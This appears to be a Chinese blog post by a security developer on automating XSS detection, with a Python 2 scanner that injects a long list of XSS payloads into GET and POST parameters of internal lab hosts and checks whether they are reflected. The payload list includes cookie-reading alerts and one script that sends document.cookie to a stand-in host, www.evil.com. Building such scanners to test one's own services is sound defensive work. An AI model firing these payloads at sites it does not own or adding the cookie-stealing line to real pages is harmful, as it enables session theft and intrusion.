0x01 原因
只要你面试安全开发,妥妥的问的问题就是一些常规的漏洞检测技术,其中xss算是一类吧,而且绝对问的。每次都会有人问这个问题,我也没次都需要一个个解答。刚好想总结下自己的工作,so,把这块的一些东西弄出来分享下。
0x02 技术
XSS的类型在这我就不展开来讲,主要讲关于自动化测试的这块。
- v1.0 传统的测试方式比较简单,就是http请求测试,直接请求url,post的直接将参数拼接,构造payload,然后请求就ok了。这个版本没啥可说的,基本上大家都知道。
- v2.0 的版本是基于ajax的请求,将页面完全加载完后,模拟操作执行。这个比较有意思,之前在wooyun上,小伙伴就经常问针对ajax应该怎么做。在360的面试里面,当时那个负责人提供的方法是基于webkit做调用,但是测试的结果是,有一定的概率会卡住。so,这个我默认放弃。而我选择用的方式,是基于无浏览器的方式来进行。相对来说比较好,在centos的服务器上,我挂了一个,然后无差别的去测试自己的业务,结果挺理想的。(分享一个案例代码,根据自己的需要,融合到自己的扫描器就好)
0x03 coding
#coding:utf-8
import random , requests , copy ,urlparse, urllib , pprint
_random=str(random.randint(300,182222))
# XSS规则
XSS_Rule = {
"script":[
"<script>alert("+_random+");</script>",
"<script>alert('XSS');</script>",
"<script>location.href=\"http://www.evil.com/cookie.php?cookie=\"+escape(document.cookie)</script>",
"<scr<script>ipt>alert("+_random+");</scr</script>ipt>",
"<script>alert(String.fromCharCode(88,83,83))</script>",
"\"><script>alert("+_random+")</script>",
"</title><script>alert(/"+_random+"/)</script>",
"</textarea><script>alert(/"+_random+"/)</script>",
"<? echo('<scr');echo('ipt>alert(\""+_random+"\")</script');?>",
"<marquee><script>alert('"+_random+"')</script></marquee>",
"<script language=\"JavaScript\">alert('"+_random+"')</script>",
"\"><script alert(String.fromCharCode(88,83,83))</script>",
"\'\">><script>alert('"+_random+"')</script>",
"<script>var var="+_random+";alert(var)</script>",
"<?='<SCRIPT>alert(\""+_random+"\")</SCRIPT>'?>",
"<scrscriptipt>alert("+_random+")</scrscriptipt>",
"</script><script>alert("+_random+")</script>",
"'\"></title><script>alert("+_random+")</script>",
"</textarea>\'\"><script>alert(document.cookie)</script>",
"'\"\"><script language=\"JavaScript\">alert('XS');</script>",
"</script></script><<<<script><>>>><<<script>alert("+_random+")</script>",
"<html><noalert><noscript>alert("+_random+")</script>",
"}</style><script>a=eval;a=eval;b=alert;a(b(/"+_random+"/.source));</script>",
"<SCRIPT>document.write(\""+_random+"\");</SCRIPT>",
"='><script>alert(\""+_random+"\")</script>",
"<body background=javascript:'\"><script>alert(navigator.userAgent)</script></body>",
">\"><script>alert(/"+_random+"/)</script>",
"\"></title><script>alert("+_random+")</script>",
"</div><script>alert("+_random+")</script>",
"\"></iframe><script>alert("+_random+")</script>",
"'></select><script>alert("+_random+")</script>",
],
"img":
[
"<img src=foo.png onerror=alert(/"+_random+"/) />",
"<IMG SRC=\"jav	ascript:alert('"+_random+"');\">",
"<IMG SRC=\"jav
ascript:alert('"+_random+"');\">",
"<IMG SRC=\"jav
ascript:alert('"+_random+"');\">",
"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
"<IMG LOWSRC=\"javascript:alert('"+_random+"')\">",
"<IMG DYNSRC=\"javascript:alert('"+_random+"')\">",
"<img src=\"javascript:alert('"+_random+"')\">",
"<IMG SRC='vbscript:msgbox(\""+_random+"\")'>",
"\"<marquee><img src=k.png onerror=alert(/"+_random+"/) />",
"\"<marquee><img src=k onerror=alert(/"+_random+"/) />",
"'\"><marquee><img src=k.png onerror=alert(/"+_random+"/.source) />",
"<img src=\"javascript:alert(\""+_random+"\")\">",
">\"><img src=\"javascript:alert('"+_random+"')\">",
"\"/></a></><img src=1.gif onerror=alert("+_random+")>",
"window.alert(\""+_random+"\");",
],
"iframe":
[
"<iframe<?php echo chr(11)?>onload=alert('"+_random+"')></iframe>",
"\"><iframe src='javascript:alert(document.cookie)'></iframe>",
],
"marquee":
[
"'>><marquee><h1>"+_random+"</h1></marquee>",
"\'\">><marquee><h1>"+_random+"</h1></marquee>",
],
"attr-style":
[
"<font style='color:expression(alert(document.cookie))'>",
"<div style=\"x:expression((windows.r==1)?\":eval('r=1;alert(String.fromCharCode(88,83,83));'))\">",
"<div style=\"background:url('javascript:alert("+_random+")')\">",
"\" style=\"background:url(javascript:alert(/"+_random+"/))\"",
"</br style=a:expression(alert())>",
],
"event":
[
"<body onunload=\"javascript:alert('"+_random+"');\">",
"<body onLoad=\"alert('"+_random+"');\">",
"\" onfous=alert(document.domain)\"><\"",
"\"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\""+_random+"\")>",
"<body onLoad=\"while(true) alert('"+_random+"');\">",
"<SELECT NAME=\"\" onmouseover=alert("+_random+")></select>",
"'\"></title><font color=red onmouseover=javascript:alert(1337)>"+_random+"</font>",
],
"meta":
[
"<META HTTP-EQUIV='refresh' CONTENT='0;url=javascript:alert(/"+_random+"/');\">",
"<META HTTP-EQUIV='refresh' CONTENT='0;URL=http://;URL=javascript:alert(/"+_random+"/);'>",
],
"base":
[
"<BASE HREF=\"javascript:alert('"+_random+"');//\">",
],
"frameset":
[
"<FRAMESET><FRAME SRC=\"javascript:alert('"+_random+"');\"></FRAMESET>",
],
"other":
[
"[url=javascript:alert('"+_random+"');]click me[/url]",
"[color=red' onmouseover=\"alert('"+_random+"')\"]mouse over[/color]",
"[color=red width=expression(alert("+_random+"))][color]",
]
}
# 链接拼接(针对get)
def _init_get_url(url_group,rules,check_group):
for _url_item in url_group:
url_node = urlparse.urlparse(_url_item)
uquery = url_node.query
url_parse = _url_item.replace('?'+uquery, '')
query_dict = dict(urlparse.parse_qsl(uquery))
for rule_item in rules.keys():
for _rule in rules[rule_item]:
for parameter_item in query_dict.keys():
tmp_dict = copy.deepcopy(query_dict)
tmp_dict[parameter_item] = _rule
tmp_qs = urllib.unquote(urllib.urlencode(tmp_dict)).replace('+','%20')
check_group.append({'action':url_parse+"?"+tmp_qs,'input':None,'method':'get','regex':_rule})
# 请求拼接(post)
def _init_from_url(url_dict,rules,check_group):
# 遍历所有的请求
for url_dict_item in url_dict:
# 遍历所有的规则
for rule_group in rules.keys():
input_dict = {}
for rule_item in rules[rule_group]:
for input_item in url_dict_item['input']:
input_dict.update({input_item:rule_item})
check_group.append({'action':url_dict_item['action'],'input':input_dict,'method':url_dict_item['method'],'regex':rule_item})
input_dict = {}
# 直接请求
def request_do(url,_data,_regex):
TIMEOUT=5
_bool = False
try:
if _data is not None:
req = requests.post(url,data=_data,timeout=TIMEOUT)
else:
req = requests.get(url,timeout=TIMEOUT)
req_result = ''.join(req.content.split('\n'))
if req_result.find(_regex) != -1:
_bool = True
except Exception, e:
return _bool
return _bool
# 测试规则
def xss_check(check_group):
for target in check_group:
if target['method'].lower() =='get':
if request_do(target['action'],None,target['regex']):
print "[*][GET] Find XSS: %s" % target['action']
elif target['method'].lower() == 'post':
if request_do(target['action'],target['input'],target['regex']):
print "[*][POST] Find XSS: %s,Parameter: (%s)" % (target['action'],str(target['input']))
# 拼接请求
def opurl():
check_group = []
_init_get_url(['http://10.211.55.7/search/search.php?lang=cn'],XSS_Rule,check_group)
_init_from_url([{'action':'http://10.211.55.7/b.php','input':['bfname','blname'],'method':'post'}],XSS_Rule,check_group)
xss_check(check_group)
if __name__ == '__main__':
opurl()
# run("http://10.211.55.7/b.php",['bfname','blname'])
# run("http://10.211.55.7/search/search.php?key=dede&x=24&y=11&lang=cn")